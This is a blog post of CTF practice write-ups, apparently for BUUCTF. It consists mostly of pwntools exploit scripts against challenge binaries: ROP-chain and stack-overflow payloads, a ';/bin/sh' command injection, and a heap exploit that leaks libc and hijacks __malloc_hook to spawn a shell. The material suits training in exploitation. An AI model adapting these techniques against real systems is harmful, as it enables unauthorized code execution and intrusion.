• buu查漏补缺刷题(2)


    picoctf_2018_rop chain

    rop

    from pwn import *
    
    p=remote('node3.buuoj.cn',25933)
    p.recvuntil('input> ')
    payload=b'p'*0x18+b'pppp'+p32(0x80485CB)+p32(0x80485D8)+p32(0x804862B)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
    p.sendline(payload)
    p.interactive()

    jarvisoj_test_your_memory

    from pwn import *
    
    #p=process('./memory')
    p=remote('node3.buuoj.cn',26737)
    func=0x80485BD
    catflag=0x80487e0
    payload=b'p'*0x13+b'pppp'+p32(func)+p32(0x8048677)+p32(catflag)
    p.sendline(payload)
    p.interactive()

    bjdctf_2020_router

    from pwn import *
    
    #p=process('./bjdctf_2020_router')
    p=remote('node3.buuoj.cn',27553)
    p.recv()
    p.sendline('1')
    p.sendline(';/bin/sh')
    
    p.interactive()

    picoctf_2018_buffer_overflow

    from pwn import *
    
    p=remote('node3.buuoj.cn',26135)
    
    payload=b'a'*0x28+b'b'*0x4+p32(0x80485CB)
    p.sendline(payload)
    
    p.interactive()

    roarctf_2019_easy_pwn

    比较基础的堆题,但还是可以说一下

    1. 首先分析程序发现有单字节溢出漏洞,所以我们可以通过修改下一块chunk的大小来造成overlap,所以我先申请了一块0x88的chunk,两个0x68的chunk和1个0x10的chunk来隔离
    2. 然后通过单字节溢出漏洞修改第二个chunk的大小为chunk 2+chunk3的大小,然后删除chunk2,在申请一个跟chunk2大小一样的chunk,就可以leak libc
    3. 泄露完libc后,此时的chunk3已经是double free了,用fast attack来劫持malloc_hook函数,我们在之前有一个0x68的chunk是已经在bin里面的 这时申请回来,再把chunk3释放掉,再通过edit修改chunk3的fd指针,然后劫持malloc_hook函数
    from pwn import *
    #p = process('./roarctf_2019_easy_pwn')
    p = remote('node3.buuoj.cn', 26623)
    libc=ELF('../libc-2.23.so')
    def add(size):
        #p.sendlineafter('choice: ', '1')
        p.recvuntil('choice: ')
        p.sendline('1')
        p.sendlineafter('size: ', str(size))
     
    def edit(index, size, content):
        p.sendlineafter('choice: ', '2')
        p.sendlineafter('index: ', str(index))
        p.sendlineafter('size: ', str(size))
        p.sendafter('content', content)
     
    def delete(index):
        p.sendlineafter('choice: ', '3')
        p.sendlineafter('index: ', str(index))
     
    def show(index):
        p.sendlineafter('choice: ', '4')
        p.sendlineafter('index: ', str(index))
    
    add(0x88)#0
    add(0x68)#1
    add(0x68)#2
    add(0x10)#3
    
    edit(0,0x88+0xa,b'p'*0x88+p8(0xe1))
    delete(1)
    add(0x68)#1
    show(2)
    
    libc.address=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))-0x3c4b78
    print('libc:'+hex(libc.address))
    malloc_hook=libc.symbols['__malloc_hook']
    realloc=libc.symbols['__libc_realloc']
    one_gadget=libc.address+0x4526a
    add(0x68)#4
    delete(4)
    edit(2,0x8,p64(malloc_hook-0x23))
    add(0x68)#4
    add(0x68)#5
    payload=b'p'*0xb+p64(one_gadget)+p64(realloc)
    edit(5,len(payload),payload)
    #gdb.attach(p)
    p.interactive()

    pwnable_orw

    在另一个博客里

    jarvisoj_level1

    环境出问题了,不过并不影响答题,通过栈溢出,用write函数leak libc,然后在getshell

  • 相关阅读:
    调试SQL Server的存储过程及用户定义函数
    寻找 vb.net 事务处理高级编程 的代码!!
    解析Java类和对象的初始化过程
    SQL 安装进程被挂起!
    教你成为一个受欢迎的人
    final class作用
    微软反跨站脚本库
    pdf解析
    ce'shi测试微博
    淘宝架构变化
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14274436.html
Copyright © 2020-2023  润新知